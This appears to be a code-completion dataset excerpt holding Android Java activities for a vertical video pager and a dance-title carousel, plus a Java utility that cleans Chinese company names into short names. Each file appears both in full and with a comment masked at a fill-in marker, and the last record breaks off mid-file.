urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803141624378522.mp4"); urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803131546119319.mp4"); snapHelper = new PagerSnapHelper(); snapHelper.attachToRecyclerView(rvPage2); videoAdapter = new ListVideoAdapter(urlList); layoutManager = new LinearLayoutManager(Page2Activity.this, LinearLayoutManager.VERTICAL, false); rvPage2.setLayoutManager(layoutManager); rvPage2.setAdapter(videoAdapter); } private void addListener() { rvPage2.addOnScrollListener(new RecyclerView.OnScrollListener() { @Override public void onScrolled(RecyclerView recyclerView, int dx, int dy) { } @Override public void onScrollStateChanged(RecyclerView recyclerView, int newState) { switch (newState) { case RecyclerView.SCROLL_STATE_IDLE://停止滚动 View view = snapHelper.findSnapView(layoutManager); //当前固定后的item position int position = recyclerView.getChildAdapterPosition(view); if (currentPosition != position) { //如果当前position 和 上一次固定后的position 相同, 说明是同一个, 只不过滑动了一点点, 然后又释放了 MyVideoPlayer.releaseAllVideos(); RecyclerView.ViewHolder viewHolder = recyclerView.getChildViewHolder(view); if (viewHolder != null && viewHolder instanceof VideoViewHolder) { ((VideoViewHolder) viewHolder).mp_video.startVideo(); } } currentPosition = position; break; case RecyclerView.SCROLL_STATE_DRAGGING://拖动 break; case RecyclerView.SCROLL_STATE_SETTLING://惯性滑动 break; } } }); } @Override public void onPause() { super.onPause(); MyVideoPlayer.releaseAllVideos(); } class ListVideoAdapter extends BaseRecAdapter<String, VideoViewHolder> { public ListVideoAdapter(List<String> list) { super(list); } @Override public void onHolder(VideoViewHolder holder, String bean, int position) { ViewGroup.LayoutParams layoutParams = holder.itemView.getLayoutParams(); layoutParams.height = ViewGroup.LayoutParams.MATCH_PARENT; holder.mp_video.setUp(bean, "第" + position + "个视频", MyVideoPlayer.STATE_NORMAL); if (position == 0) { holder.mp_video.startVideo(); } Glide.with(context).load(bean).into(holder.mp_video.thumbImageView); holder.tv_title.setText("第" + position + "个视频"); } @Override public VideoViewHolder onCreateHolder() { return new VideoViewHolder(getViewByRes(R.layout.item_page2)); } } public class VideoViewHolder extends BaseRecViewHolder { public View rootView; public MyVideoPlayer mp_video; public TextView tv_title; public VideoViewHolder(View rootView) { super(rootView); this.rootView = rootView; this.mp_video = rootView.findViewById(R.id.mp_video); this.tv_title = rootView.findViewById(R.id.tv_title); } } }
18702953620/DouDemo
app/src/main/java/com/ch/doudemo/activity/Page2Activity.java
1,611
//停止滚动
line_comment
zh-cn
package com.ch.doudemo.activity; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.PagerSnapHelper; import android.support.v7.widget.RecyclerView; import android.view.View; import android.view.ViewGroup; import android.widget.TextView; import com.bumptech.glide.Glide; import com.ch.doudemo.R; import com.ch.doudemo.base.BaseRecAdapter; import com.ch.doudemo.base.BaseRecViewHolder; import com.ch.doudemo.widget.MyVideoPlayer; import java.util.ArrayList; import java.util.List; import butterknife.BindView; import butterknife.ButterKnife; /** * 翻页2 */ public class Page2Activity extends AppCompatActivity { @BindView(R.id.rv_page2) RecyclerView rvPage2; private List<String> urlList; private ListVideoAdapter videoAdapter; private PagerSnapHelper snapHelper; private LinearLayoutManager layoutManager; private int currentPosition; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_page2); ButterKnife.bind(this); initView(); addListener(); } private void initView() { urlList = new ArrayList<>(); urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201811/26/09/5bfb4c55633c9.mp4"); urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201805/100651/201805181532123423.mp4"); urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803151735198462.mp4"); urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803150923220770.mp4"); urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803150922255785.mp4"); urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803150920130302.mp4"); urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803141625005241.mp4"); urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803141624378522.mp4"); urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803131546119319.mp4"); snapHelper = new PagerSnapHelper(); snapHelper.attachToRecyclerView(rvPage2); videoAdapter = new ListVideoAdapter(urlList); layoutManager = new LinearLayoutManager(Page2Activity.this, LinearLayoutManager.VERTICAL, false); rvPage2.setLayoutManager(layoutManager); rvPage2.setAdapter(videoAdapter); } private void addListener() { rvPage2.addOnScrollListener(new RecyclerView.OnScrollListener() { @Override public void onScrolled(RecyclerView recyclerView, int dx, int dy) { } @Override public void onScrollStateChanged(RecyclerView recyclerView, int newState) { switch (newState) { case RecyclerView.SCROLL_STATE_IDLE://停止 <SUF> View view = snapHelper.findSnapView(layoutManager); //当前固定后的item position int position = recyclerView.getChildAdapterPosition(view); if (currentPosition != position) { //如果当前position 和 上一次固定后的position 相同, 说明是同一个, 只不过滑动了一点点, 然后又释放了 MyVideoPlayer.releaseAllVideos(); RecyclerView.ViewHolder viewHolder = recyclerView.getChildViewHolder(view); if (viewHolder != null && viewHolder instanceof VideoViewHolder) { ((VideoViewHolder) viewHolder).mp_video.startVideo(); } } currentPosition = position; break; case RecyclerView.SCROLL_STATE_DRAGGING://拖动 break; case RecyclerView.SCROLL_STATE_SETTLING://惯性滑动 break; } } }); } @Override public void onPause() { super.onPause(); MyVideoPlayer.releaseAllVideos(); } class ListVideoAdapter extends BaseRecAdapter<String, VideoViewHolder> { public ListVideoAdapter(List<String> list) { super(list); } @Override public void onHolder(VideoViewHolder holder, String bean, int position) { ViewGroup.LayoutParams layoutParams = holder.itemView.getLayoutParams(); layoutParams.height = ViewGroup.LayoutParams.MATCH_PARENT; holder.mp_video.setUp(bean, "第" + position + "个视频", MyVideoPlayer.STATE_NORMAL); if (position == 0) { holder.mp_video.startVideo(); } Glide.with(context).load(bean).into(holder.mp_video.thumbImageView); holder.tv_title.setText("第" + position + "个视频"); } @Override public VideoViewHolder onCreateHolder() { return new VideoViewHolder(getViewByRes(R.layout.item_page2)); } } public class VideoViewHolder extends BaseRecViewHolder { public View rootView; public MyVideoPlayer mp_video; public TextView tv_title; public VideoViewHolder(View rootView) { super(rootView); this.rootView = rootView; this.mp_video = rootView.findViewById(R.id.mp_video); this.tv_title = rootView.findViewById(R.id.tv_title); } } }
0
1,377
3
1,611
4
1,655
3
1,611
4
1,922
9
false
false
false
false
false
true
62122_1
package com.uurobot.baseframe.activitys; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.v4.view.PagerAdapter; import android.support.v4.view.ViewPager; import android.util.Log; import android.view.LayoutInflater; import android.view.MotionEvent; import android.view.View; import android.view.ViewGroup; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.RelativeLayout; import android.widget.TextView; import android.widget.Toast; import com.uurobot.baseframe.R; import com.uurobot.baseframe.fragment.shangcheng.home.Utils; import com.uurobot.baseframe.view.BorderImageView; import com.uurobot.baseframe.view.DaoyingView; import java.util.ArrayList; import java.util.List; /** * Created by Administrator on 2018/5/31. */ public class DanceViewPagerActivity extends BaseActivity { private static final String TAG = DanceViewPagerActivity.class.getSimpleName(); private RelativeLayout viewPager_container; private ImageView imageButton; private ViewPager viewPager; private TextView textView; private LinearLayout linearLayout; private int imgs[] = {R.drawable.xpg, R.drawable.zumzf, R.drawable.mj, R.drawable.chysx, R.drawable.lq}; private String title[] = {"小苹果", "最炫名族风", "迈克杰克逊", "沧海一声笑", "龙拳",}; private List<ViewHolder> imageViews; private int prePointPos = -1; private int preLayoutPos = -1; private LayoutInflater layoutInflater; @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_dance); layoutInflater = LayoutInflater.from(this); linearLayout = findViewById(R.id.ll_dance_points); textView = findViewById(R.id.tv_dance_title); viewPager = findViewById(R.id.viewpager_dance); imageButton = findViewById(R.id.imageview_play); imageButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Toast.makeText(DanceViewPagerActivity.this, "==" + viewPager.getCurrentItem(), Toast.LENGTH_SHORT).show(); } }); viewPager_container = findViewById(R.id.viewPager_container); viewPager_container.setOnTouchListener(new View.OnTouchListener() { @Override public boolean onTouch(View v, MotionEvent event) { Log.e(TAG, "onTouch: "+event.getX()+ " "+event.getY()+" "+ event.getAction() ); return viewPager.dispatchTouchEvent(event); } }); initData(); viewPager.setOffscreenPageLimit(7); viewPager.setAdapter(new PagerAdapter() { @Override public int getCount() { return Integer.MAX_VALUE; } @Override public boolean isViewFromObject(View view, Object object) { return view == object; } @Override public Object instantiateItem(ViewGroup container, int position) { Log.e(TAG, "instantiateItem: " + position % imageViews.size()); ViewHolder viewHolder = imageViews.get(position % imageViews.size()); container.addView(viewHolder.relativeLayout); return viewHolder.relativeLayout; } @Override public float getPageWidth(int position) { return 1f; } @Override public void destroyItem(ViewGroup container, int position, Object object) { Log.e(TAG, "destroyItem : " + position); container.removeView((View) object); } }); viewPager.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Log.e(TAG, "onClick: view pager" ); } }); viewPager.addOnPageChangeListener(new ViewPager.OnPageChangeListener() { @Override public void onPageScrolled(int position, float positionOffset, int positionOffsetPixels) { } @Override public void onPageSelected(int position) { int realPos = position % title.length; Log.e(TAG, "onPageSelected: " + position + " realPos=" + realPos + " " + linearLayout.getChildCount()); if (prePointPos != -1) { linearLayout.getChildAt(prePointPos).setSelected(false); } linearLayout.getChildAt(realPos).setSelected(true); textView.setText(title[realPos]); prePointPos = realPos; int layouts = position % imageViews.size(); setBorader(layouts, true); preLayoutPos = layouts; } @Override public void onPageScrollStateChanged(int state) { } }); viewPager.setPageTransformer(true, new ViewPager.PageTransformer() { public static final float MIN_SCALE = 0.6f; public static final float SENCOND_SCALE = 0.8f; public static final float MAX_SCALE = 1f; @Override public void transformPage(View page, float position) { float scale; //执行缩放 float scaleFactor = Utils.getPageScale(position); page.setScaleX(scaleFactor); page.setScaleY(scaleFactor); Utils.transLationX(page, position); Utils.setPivotXY(page, position); } }); int item = Integer.MAX_VALUE / 2; viewPager.setCurrentItem(item); int points = item % title.length; linearLayout.getChildAt(points).setSelected(true); textView.setText(title[points]); prePointPos = points; int layouts = item % imageViews.size(); setBorader(layouts, true); preLayoutPos = layouts; } private void setBorader(int item, boolean state) { Log.e(TAG, "setBorader: ====== " + prePointPos + " " + item); if (preLayoutPos != -1) { ViewHolder viewHolder = imageViews.get(preLayoutPos); DaoyingView daoyingView = viewHolder.daoyingView; daoyingView.drawBorder(false); } ViewHolder viewHolder = imageViews.get(item); DaoyingView daoyingView = viewHolder.daoyingView; daoyingView.drawBorder(true); } private void initData() { imageViews = new ArrayList<>(); for (int i = 0; i < imgs.length * 4; i++) { RelativeLayout relativeLayout = (RelativeLayout) layoutInflater.inflate(R.layout.viewpager_dance_item, null); DaoyingView imageView = relativeLayout.findViewById(R.id.image_dance_icon); imageView.setBitmap(imgs[i%imgs.length]); imageView.setTag(i%imgs.length); imageView.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Log.e(TAG, "onClick: ==============view="+ v.getTag()); } }); ViewHolder viewHolder = new ViewHolder(); viewHolder.relativeLayout = relativeLayout ; viewHolder.daoyingView = imageView ; imageViews.add(viewHolder); } for (int i = 0; i < title.length; i++) { ImageView points = new ImageView(this); points.setBackgroundResource(R.drawable.point_selectors); LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(42, 42); if (i != (imgs.length - 1)) { // 最后一个不需要 params.rightMargin = 20; } points.setLayoutParams(params); linearLayout.addView(points); } } private class ViewHolder { public RelativeLayout relativeLayout; public DaoyingView daoyingView; } }
18823408460/LocalTest
BaseFrame/src/main/java/com/uurobot/baseframe/activitys/DanceViewPagerActivity.java
1,858
//执行缩放
line_comment
zh-cn
package com.uurobot.baseframe.activitys; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.v4.view.PagerAdapter; import android.support.v4.view.ViewPager; import android.util.Log; import android.view.LayoutInflater; import android.view.MotionEvent; import android.view.View; import android.view.ViewGroup; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.RelativeLayout; import android.widget.TextView; import android.widget.Toast; import com.uurobot.baseframe.R; import com.uurobot.baseframe.fragment.shangcheng.home.Utils; import com.uurobot.baseframe.view.BorderImageView; import com.uurobot.baseframe.view.DaoyingView; import java.util.ArrayList; import java.util.List; /** * Created by Administrator on 2018/5/31. */ public class DanceViewPagerActivity extends BaseActivity { private static final String TAG = DanceViewPagerActivity.class.getSimpleName(); private RelativeLayout viewPager_container; private ImageView imageButton; private ViewPager viewPager; private TextView textView; private LinearLayout linearLayout; private int imgs[] = {R.drawable.xpg, R.drawable.zumzf, R.drawable.mj, R.drawable.chysx, R.drawable.lq}; private String title[] = {"小苹果", "最炫名族风", "迈克杰克逊", "沧海一声笑", "龙拳",}; private List<ViewHolder> imageViews; private int prePointPos = -1; private int preLayoutPos = -1; private LayoutInflater layoutInflater; @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_dance); layoutInflater = LayoutInflater.from(this); linearLayout = findViewById(R.id.ll_dance_points); textView = findViewById(R.id.tv_dance_title); viewPager = findViewById(R.id.viewpager_dance); imageButton = findViewById(R.id.imageview_play); imageButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Toast.makeText(DanceViewPagerActivity.this, "==" + viewPager.getCurrentItem(), Toast.LENGTH_SHORT).show(); } }); viewPager_container = findViewById(R.id.viewPager_container); viewPager_container.setOnTouchListener(new View.OnTouchListener() { @Override public boolean onTouch(View v, MotionEvent event) { Log.e(TAG, "onTouch: "+event.getX()+ " "+event.getY()+" "+ event.getAction() ); return viewPager.dispatchTouchEvent(event); } }); initData(); viewPager.setOffscreenPageLimit(7); viewPager.setAdapter(new PagerAdapter() { @Override public int getCount() { return Integer.MAX_VALUE; } @Override public boolean isViewFromObject(View view, Object object) { return view == object; } @Override public Object instantiateItem(ViewGroup container, int position) { Log.e(TAG, "instantiateItem: " + position % imageViews.size()); ViewHolder viewHolder = imageViews.get(position % imageViews.size()); container.addView(viewHolder.relativeLayout); return viewHolder.relativeLayout; } @Override public float getPageWidth(int position) { return 1f; } @Override public void destroyItem(ViewGroup container, int position, Object object) { Log.e(TAG, "destroyItem : " + position); container.removeView((View) object); } }); viewPager.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Log.e(TAG, "onClick: view pager" ); } }); viewPager.addOnPageChangeListener(new ViewPager.OnPageChangeListener() { @Override public void onPageScrolled(int position, float positionOffset, int positionOffsetPixels) { } @Override public void onPageSelected(int position) { int realPos = position % title.length; Log.e(TAG, "onPageSelected: " + position + " realPos=" + realPos + " " + linearLayout.getChildCount()); if (prePointPos != -1) { linearLayout.getChildAt(prePointPos).setSelected(false); } linearLayout.getChildAt(realPos).setSelected(true); textView.setText(title[realPos]); prePointPos = realPos; int layouts = position % imageViews.size(); setBorader(layouts, true); preLayoutPos = layouts; } @Override public void onPageScrollStateChanged(int state) { } }); viewPager.setPageTransformer(true, new ViewPager.PageTransformer() { public static final float MIN_SCALE = 0.6f; public static final float SENCOND_SCALE = 0.8f; public static final float MAX_SCALE = 1f; @Override public void transformPage(View page, float position) { float scale; //执行 <SUF> float scaleFactor = Utils.getPageScale(position); page.setScaleX(scaleFactor); page.setScaleY(scaleFactor); Utils.transLationX(page, position); Utils.setPivotXY(page, position); } }); int item = Integer.MAX_VALUE / 2; viewPager.setCurrentItem(item); int points = item % title.length; linearLayout.getChildAt(points).setSelected(true); textView.setText(title[points]); prePointPos = points; int layouts = item % imageViews.size(); setBorader(layouts, true); preLayoutPos = layouts; } private void setBorader(int item, boolean state) { Log.e(TAG, "setBorader: ====== " + prePointPos + " " + item); if (preLayoutPos != -1) { ViewHolder viewHolder = imageViews.get(preLayoutPos); DaoyingView daoyingView = viewHolder.daoyingView; daoyingView.drawBorder(false); } ViewHolder viewHolder = imageViews.get(item); DaoyingView daoyingView = viewHolder.daoyingView; daoyingView.drawBorder(true); } private void initData() { imageViews = new ArrayList<>(); for (int i = 0; i < imgs.length * 4; i++) { RelativeLayout relativeLayout = (RelativeLayout) layoutInflater.inflate(R.layout.viewpager_dance_item, null); DaoyingView imageView = relativeLayout.findViewById(R.id.image_dance_icon); imageView.setBitmap(imgs[i%imgs.length]); imageView.setTag(i%imgs.length); imageView.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Log.e(TAG, "onClick: ==============view="+ v.getTag()); } }); ViewHolder viewHolder = new ViewHolder(); viewHolder.relativeLayout = relativeLayout ; viewHolder.daoyingView = imageView ; imageViews.add(viewHolder); } for (int i = 0; i < title.length; i++) { ImageView points = new ImageView(this); points.setBackgroundResource(R.drawable.point_selectors); LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(42, 42); if (i != (imgs.length - 1)) { // 最后一个不需要 params.rightMargin = 20; } points.setLayoutParams(params); linearLayout.addView(points); } } private class ViewHolder { public RelativeLayout relativeLayout; public DaoyingView daoyingView; } }
0
1,555
4
1,858
4
1,957
3
1,858
4
2,290
9
false
false
false
false
false
true
24929_15
package cn.knet.util; import cn.knet.domain.vo.KnetBgdataKeyword; import org.apache.commons.lang.StringUtils; import java.util.Arrays; /** * 大数据--通用清洗规则 */ public class KnetBigdataCleanRules { private static final String[] orgtypeMainArray = new String[]{"股份有限公司", "有限责任公司", "股份合作公司", "国有企业", "独资企业", "有限合伙", "普通合伙", "私营企业"}; /** * 通用清洗规则 * * @param orgName 企业名称 * @param orgType_old 企业行业类型 * @return */ public static KnetBgdataKeyword cleanRules(String orgName, String orgType_old) { String orgtypeMain = "其他"; if (StringUtils.isNotBlank(orgType_old)) { for (String orgtype : orgtypeMainArray) { if (StringUtils.isNotBlank(orgType_old) && orgType_old.contains(orgtype)) { orgtypeMain = orgtype; break; } } } String newestName = orgName; KnetBgdataKeyword keyword = new KnetBgdataKeyword(); keyword.setOrgtypeMain(orgtypeMain); keyword.setOrgName(orgName.trim()); /** * 1.0 企业名称-- 降噪处理,避免影响后续简称提取 */ // 1.0.1 统一小括号 newestName = newestName.replaceAll("(", "(").replaceAll(")", ")"); // 1.0.2 取出最后一个小括号的内容 ,如果非标准的企业类型,直接进行剔除 如:北龙中网科技有限公司(北京分公司支公司) if (newestName.endsWith(")")) { String lastSubOrgtype = newestName.substring(newestName.lastIndexOf("(")); if (!Arrays.asList(KnetBigdataCommonInit.orgtype_stripWords).contains(lastSubOrgtype.replaceAll("\\(|\\)", ""))) { newestName = newestName.replace(lastSubOrgtype, ""); } } // 1.0.3 剔除无效的词 for (String wd : KnetBigdataCommonInit.useless_forbidWords) { newestName = newestName.replace(wd, ""); } //1.0.4 剔除 类似【**公司第一分公司】 if (newestName.indexOf("公司") > 0) { newestName = newestName.substring(0, newestName.indexOf("公司") + 2); } /** * ########################### * 单位名称中包含【银行、大学】,直接跳过不再进行清洗 * ########################### */ for (String special_part : KnetBigdataCommonInit.common_skip_words_for_clean) { if (orgName.contains(special_part)) { keyword.setShortName(newestName); return keyword; } } /** * 2.0 排除公司类型 可能会多个 */ StringBuffer bf_orgtype = new StringBuffer(""); int cntOrgtype = 0; for (String orgtype : KnetBigdataCommonInit.orgtype_stripWords) { if (orgtype.length() <= 3) { if (newestName.endsWith(orgtype) || newestName.endsWith("(" + orgtype + ")")) { bf_orgtype.append(orgtype).append(","); newestName = newestName.replace(orgtype, ""); cntOrgtype++; } } else { if (newestName.contains(orgtype)) { bf_orgtype.append(orgtype).append(","); newestName = newestName.replace(orgtype, ""); cntOrgtype++; } } if (cntOrgtype >= 2) { break; } } if (StringUtils.isNotBlank(bf_orgtype.toString())) { keyword.setOrgType(bf_orgtype.deleteCharAt(bf_orgtype.toString().length() - 1).toString()); } /** * ########################### * 单位名称中以【中国】开头的,仅清洗企业类型 * ########################### */ if (orgName.startsWith("中国")) { keyword.setShortName(newestName); return keyword; } //3.0.1 排除省 省2 for (String sheng : KnetBigdataCommonInit.shengList) { if (newestName.contains(sheng)) { keyword.setProvince(sheng); newestName = newestName.replace(sheng, ""); break; } } if (StringUtils.isBlank(keyword.getProvince())) { for (String sheng2 : KnetBigdataCommonInit.shengList_striped) { if (newestName.contains(sheng2)) { keyword.setProvince(sheng2); newestName = newestName.replace(sheng2, ""); break; } } } //3.0.2排除市 市2 for (String city : KnetBigdataCommonInit.cityList) { if (newestName.contains(city)) { keyword.setCity(city); newestName = newestName.replace(city, ""); break; } } if (StringUtils.isBlank(keyword.getCity())) { for (String city2 : KnetBigdataCommonInit.cityList_striped) { if (newestName.contains(city2)) { keyword.setCity(city2); newestName = newestName.replace(city2, ""); break; } } } //3.0.3排除县 县2 for (String county : KnetBigdataCommonInit.countyList) { if (newestName.contains(county)) { keyword.setCounty(county); newestName = newestName.replace(county, ""); break; } } if (StringUtils.isBlank(keyword.getCounty())) { for (String county2 : KnetBigdataCommonInit.countyList_striped) { //县 《《2个长度时头部匹配 3个长度以上包含匹配》》 if (county2.length() == 2) { if (newestName.startsWith(county2) || newestName.contains("(" + county2 + ")")) { keyword.setCounty(county2); newestName = newestName.replace(county2, ""); break; } } else { if (newestName.contains(county2)) { keyword.setCounty(county2); newestName = newestName.replace(county2, ""); break; } } } } /** *4.0 排除行业类型 允许多个 */ if (newestName.length() >= 4) { StringBuffer bf_inds = new StringBuffer(""); int cntIds = 0; //4.0.1 3个长度以上的行业属性词,进行匹配 for (String ids : KnetBigdataCommonInit.industry_stripWords) { if (newestName.contains(ids)) { bf_inds.append(ids).append(","); newestName = newestName.replace(ids, ""); cntIds++; } if (cntIds >= 2) { break; } } //4.0.2 2个长度的行业属性,手动排序后匹配 if (cntIds < 2) { for (String ids_ext : KnetBigdataCommonInit.industry_stripWords_ext) { if (newestName.contains(ids_ext)) { bf_inds.append(ids_ext).append(","); newestName = newestName.replace(ids_ext, ""); cntIds++; } if (cntIds >= 2) { break; } } } if (StringUtils.isNotBlank(bf_inds.toString())) { keyword.setIndustry(bf_inds.deleteCharAt(bf_inds.toString().length() - 1).toString()); } } //5.0 设置简称 keyword.setShortName(newestName.replaceAll("\\(|\\)", "")); //6.0 组装拆分后的扩展词 //6.0.1 企业全称中包含“集团”的,简称+“集团”直接作为推荐注册词进行展示 StringBuffer ext_words = new StringBuffer(""); if (StringUtils.isNotBlank(keyword.getShortName())) { ext_words.append(keyword.getShortName()).append(","); } if (orgName.contains("集团")) { if (StringUtils.isNotBlank(keyword.getShortName()) && !keyword.getShortName().contains("集团")) { ext_words.append(keyword.getShortName() + "集团").append(","); } } if (orgName.contains("股份")) { if (StringUtils.isNotBlank(keyword.getShortName()) && !keyword.getShortName().contains("股份")) { ext_words.append(keyword.getShortName() + "股份").append(","); } } //6.0.2 循环拼接 if (StringUtils.isNotBlank(keyword.getIndustry())) { for (String ids : keyword.getIndustry().split(",")) { ext_words.append(keyword.getShortName() + ids).append(","); } } //6.0.3 如果是如下大类,直接 简称+大类 拼接 for (String mainType : KnetBigdataCommonInit.industry_stripWords_spetial_mix) { if (StringUtils.isNotBlank(keyword.getShortName())) { String nname = keyword.getShortName() + mainType; if (orgName.contains(mainType)) { if (!ext_words.toString().contains(nname)) { ext_words.append(nname).append(","); } } } } // // 6.0.4 如果简称为空 【县-市-省 + 行业词】 ,大部分是类似 河北电信 北京集团 // if(StringUtils.isBlank(keyword.getShortName())) { // if (StringUtils.isNotBlank(keyword.getCounty())) { // keyword.setShortName(keyword.getCounty()); // } else if (StringUtils.isNotBlank(keyword.getCity()) && !keyword.getCity().contains("区")) { // keyword.setShortName(keyword.getCity()); // } else if (StringUtils.isNotBlank(keyword.getProvince())) { // keyword.setShortName(keyword.getProvince()); // } // } if (StringUtils.isNotBlank(ext_words.toString())) { keyword.setOrgnameExtWords(ext_words.deleteCharAt(ext_words.toString().length() - 1).toString()); } return keyword; } }
1961615415/springmvcfile
KnetBigdataCleanRules.java
2,545
//4.0.1 3个长度以上的行业属性词,进行匹配
line_comment
zh-cn
package cn.knet.util; import cn.knet.domain.vo.KnetBgdataKeyword; import org.apache.commons.lang.StringUtils; import java.util.Arrays; /** * 大数据--通用清洗规则 */ public class KnetBigdataCleanRules { private static final String[] orgtypeMainArray = new String[]{"股份有限公司", "有限责任公司", "股份合作公司", "国有企业", "独资企业", "有限合伙", "普通合伙", "私营企业"}; /** * 通用清洗规则 * * @param orgName 企业名称 * @param orgType_old 企业行业类型 * @return */ public static KnetBgdataKeyword cleanRules(String orgName, String orgType_old) { String orgtypeMain = "其他"; if (StringUtils.isNotBlank(orgType_old)) { for (String orgtype : orgtypeMainArray) { if (StringUtils.isNotBlank(orgType_old) && orgType_old.contains(orgtype)) { orgtypeMain = orgtype; break; } } } String newestName = orgName; KnetBgdataKeyword keyword = new KnetBgdataKeyword(); keyword.setOrgtypeMain(orgtypeMain); keyword.setOrgName(orgName.trim()); /** * 1.0 企业名称-- 降噪处理,避免影响后续简称提取 */ // 1.0.1 统一小括号 newestName = newestName.replaceAll("(", "(").replaceAll(")", ")"); // 1.0.2 取出最后一个小括号的内容 ,如果非标准的企业类型,直接进行剔除 如:北龙中网科技有限公司(北京分公司支公司) if (newestName.endsWith(")")) { String lastSubOrgtype = newestName.substring(newestName.lastIndexOf("(")); if (!Arrays.asList(KnetBigdataCommonInit.orgtype_stripWords).contains(lastSubOrgtype.replaceAll("\\(|\\)", ""))) { newestName = newestName.replace(lastSubOrgtype, ""); } } // 1.0.3 剔除无效的词 for (String wd : KnetBigdataCommonInit.useless_forbidWords) { newestName = newestName.replace(wd, ""); } //1.0.4 剔除 类似【**公司第一分公司】 if (newestName.indexOf("公司") > 0) { newestName = newestName.substring(0, newestName.indexOf("公司") + 2); } /** * ########################### * 单位名称中包含【银行、大学】,直接跳过不再进行清洗 * ########################### */ for (String special_part : KnetBigdataCommonInit.common_skip_words_for_clean) { if (orgName.contains(special_part)) { keyword.setShortName(newestName); return keyword; } } /** * 2.0 排除公司类型 可能会多个 */ StringBuffer bf_orgtype = new StringBuffer(""); int cntOrgtype = 0; for (String orgtype : KnetBigdataCommonInit.orgtype_stripWords) { if (orgtype.length() <= 3) { if (newestName.endsWith(orgtype) || newestName.endsWith("(" + orgtype + ")")) { bf_orgtype.append(orgtype).append(","); newestName = newestName.replace(orgtype, ""); cntOrgtype++; } } else { if (newestName.contains(orgtype)) { bf_orgtype.append(orgtype).append(","); newestName = newestName.replace(orgtype, ""); cntOrgtype++; } } if (cntOrgtype >= 2) { break; } } if (StringUtils.isNotBlank(bf_orgtype.toString())) { keyword.setOrgType(bf_orgtype.deleteCharAt(bf_orgtype.toString().length() - 1).toString()); } /** * ########################### * 单位名称中以【中国】开头的,仅清洗企业类型 * ########################### */ if (orgName.startsWith("中国")) { keyword.setShortName(newestName); return keyword; } //3.0.1 排除省 省2 for (String sheng : KnetBigdataCommonInit.shengList) { if (newestName.contains(sheng)) { keyword.setProvince(sheng); newestName = newestName.replace(sheng, ""); break; } } if (StringUtils.isBlank(keyword.getProvince())) { for (String sheng2 : KnetBigdataCommonInit.shengList_striped) { if (newestName.contains(sheng2)) { keyword.setProvince(sheng2); newestName = newestName.replace(sheng2, ""); break; } } } //3.0.2排除市 市2 for (String city : KnetBigdataCommonInit.cityList) { if (newestName.contains(city)) { keyword.setCity(city); newestName = newestName.replace(city, ""); break; } } if (StringUtils.isBlank(keyword.getCity())) { for (String city2 : KnetBigdataCommonInit.cityList_striped) { if (newestName.contains(city2)) { keyword.setCity(city2); newestName = newestName.replace(city2, ""); break; } } } //3.0.3排除县 县2 for (String county : KnetBigdataCommonInit.countyList) { if (newestName.contains(county)) { keyword.setCounty(county); newestName = newestName.replace(county, ""); break; } } if (StringUtils.isBlank(keyword.getCounty())) { for (String county2 : KnetBigdataCommonInit.countyList_striped) { //县 《《2个长度时头部匹配 3个长度以上包含匹配》》 if (county2.length() == 2) { if (newestName.startsWith(county2) || newestName.contains("(" + county2 + ")")) { keyword.setCounty(county2); newestName = newestName.replace(county2, ""); break; } } else { if (newestName.contains(county2)) { keyword.setCounty(county2); newestName = newestName.replace(county2, ""); break; } } } } /** *4.0 排除行业类型 允许多个 */ if (newestName.length() >= 4) { StringBuffer bf_inds = new StringBuffer(""); int cntIds = 0; //4. <SUF> for (String ids : KnetBigdataCommonInit.industry_stripWords) { if (newestName.contains(ids)) { bf_inds.append(ids).append(","); newestName = newestName.replace(ids, ""); cntIds++; } if (cntIds >= 2) { break; } } //4.0.2 2个长度的行业属性,手动排序后匹配 if (cntIds < 2) { for (String ids_ext : KnetBigdataCommonInit.industry_stripWords_ext) { if (newestName.contains(ids_ext)) { bf_inds.append(ids_ext).append(","); newestName = newestName.replace(ids_ext, ""); cntIds++; } if (cntIds >= 2) { break; } } } if (StringUtils.isNotBlank(bf_inds.toString())) { keyword.setIndustry(bf_inds.deleteCharAt(bf_inds.toString().length() - 1).toString()); } } //5.0 设置简称 keyword.setShortName(newestName.replaceAll("\\(|\\)", "")); //6.0 组装拆分后的扩展词 //6.0.1 企业全称中包含“集团”的,简称+“集团”直接作为推荐注册词进行展示 StringBuffer ext_words = new StringBuffer(""); if (StringUtils.isNotBlank(keyword.getShortName())) { ext_words.append(keyword.getShortName()).append(","); } if (orgName.contains("集团")) { if (StringUtils.isNotBlank(keyword.getShortName()) && !keyword.getShortName().contains("集团")) 